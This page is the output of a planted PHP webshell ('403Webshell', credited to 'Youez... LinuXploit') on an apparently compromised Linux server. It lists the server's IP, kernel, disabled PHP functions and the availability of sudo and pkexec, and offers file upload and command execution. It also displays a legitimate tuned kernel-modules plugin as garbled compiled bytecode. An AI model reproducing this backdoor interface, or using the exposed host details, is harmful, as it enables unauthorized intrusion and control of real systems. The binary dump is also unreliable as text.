403Webshell
Server IP : 156.238.232.47  /  Your IP : 216.73.216.150
Web Server : nginx/1.25.3
System : Linux C202504152095410 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : www ( 1000)
PHP Version : 8.3.25
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python2.7/site-packages/tuned/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python2.7/site-packages/tuned/plugins/plugin_modules.pyo
�
��\c@s�ddlZddlZddlmZddlTddlZddlTddl	m
Z
ddljZej
j�Zdejfd��YZdS(i����Ni(tbase(t*(tcommandst
ModulesPlugincBsbeZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	e
d�Zd	�ZRS(
s6
	Plugin for applying custom kernel modules options.
	cOs2tt|�j||�t|_t�|_dS(N(tsuperRt__init__tTruet_has_dynamic_optionsRt_cmd(tselftargstkwargs((s@/usr/lib/python2.7/site-packages/tuned/plugins/plugin_modules.pyRs	cCs"t|_t|_|j|_dS(N(tFalset_has_dynamic_tuningRt_has_static_tuningtoptionst_modules(R	tinstance((s@/usr/lib/python2.7/site-packages/tuned/plugins/plugin_modules.pyt_instance_inits		cCsdS(N((R	R((s@/usr/lib/python2.7/site-packages/tuned/plugins/plugin_modules.pyt_instance_cleanupscCs�x�|D]�}|jjdd|g�\}}|dkrKtjd�dS|dkrwtjd||j�f�n|jjd|g�\}}|dkrtjd||j�f�qqWdS(Ntmodprobes-risN'modprobe' command not found, cannot reload kernel modules, reboot is requireds$cannot remove kernel module '%s': %ss:cannot insert/reinsert module '%s', reboot is required: %s(Rtexecutetlogtwarntdebugtstrip(R	tmodulestmoduletretcodetout((s@/usr/lib/python2.7/site-packages/tuned/plugins/plugin_modules.pyt_reload_moduless
!
 cCs�|j�d}d}t}g}xOt|jj��D]8\}}|jj|�}|jj|�}	|s�|jjd|g�\}}
|dkr�t	}t
jd�q�|dkr�t
jd|�q�n|s�|dkr8t
|	�dkr-|	dd!dkr-tjd	d|	�}	|j|�nt
|	�dkr\|d
|d|	d7}qpt
jd
|�q8q8W|jjtj|�t
|�}|dkr�|j|�t
|j�|kr�t
jtj�q�ndS(Ntitmodinfos8'modinfo' command not found, not checking kernel moduless)kernel module '%s' not found, skipping itiis+rs^\s*\+r\s*,?\s*soptions t s
sKmodule '%s' doesn't have any option specified, not writing it to modprobe.d(t_clear_modprobe_fileRtlistRtitemst
_variablestexpandRRRRRterrortlentretsubtappendRt
write_to_filetconststMODULES_FILERtinfotSTR_HINT_REBOOT(R	RtsRt
skip_checktreload_listtoptiontvalueRtvRtl((s@/usr/lib/python2.7/site-packages/tuned/plugins/plugin_modules.pyt_instance_apply_static*s8
"%
cCst|�jdd�S(Nt/R(tstrtreplace(R	tpath((s@/usr/lib/python2.7/site-packages/tuned/plugins/plugin_modules.pyt
_unquote_pathIscCs�t}t}tjd�}xht|jj��D]Q\}}|jj|�}|jj|�}	tjdd|	�}	d|}
t	j
j|
�s�t}t
jtjd|�q1t
jtjd|�|j|	�}x�|D]�}|jd�}
t|
�dkr"t
jd	||f�q�|j|
d
|
d|jj|
d|j|
d
�d
ddt�|�tkr�t}q�q�Wq1W|S(Ns\s+s^\s*\+r\s*,?\s*Rs/sys/module/%ssmodule '%s' is not loadedsmodule '%s' is loadedt=is.unrecognized module option for module '%s': %siis/parameters/terr_rettno_error(RR)tcompileR#RR$R%R&R*tosR<texistsRRR'R-tSTR_VERIFY_PROFILE_FAILR/tSTR_VERIFY_PROFILE_OKtsplitR(Rt
_verify_valueRt	read_fileR=tNone(R	Rtignore_missingtdevicestrettrR4R5RR6tmpathR7titemtarg((s@/usr/lib/python2.7/site-packages/tuned/plugins/plugin_modules.pyt_instance_verify_staticLs,"

0cCs|r|j�ndS(N(R"(R	Rt
full_rollback((s@/usr/lib/python2.7/site-packages/tuned/plugins/plugin_modules.pyt_instance_unapply_staticgscCs�|jjtjdt�}|jd�}d}}t|�}tjd�}xB||kr�|j	||�dkr�|}|}n|d7}qRWdj|d|!�}t|�dkr�|d7}n|jjtj|�dS(NR@s
is^\s*#i(
RRHR-R.RRFR(R)RAtsearchRItjoinR,(R	R1R7titjtllRM((s@/usr/lib/python2.7/site-packages/tuned/plugins/plugin_modules.pyR"ks
	
(
t__name__t
__module__t__doc__RRRRR8R=RQRRSR"(((s@/usr/lib/python2.7/site-packages/tuned/plugins/plugin_modules.pyRs							(R)tos.pathRBRRt
decoratorst
tuned.logsttunedt
subprocessttuned.utils.commandsRttuned.constsR-tlogstgetRtPluginR(((s@/usr/lib/python2.7/site-packages/tuned/plugins/plugin_modules.pyt<module>s



Youez - 2016 - github.com/yon3zu
LinuXploit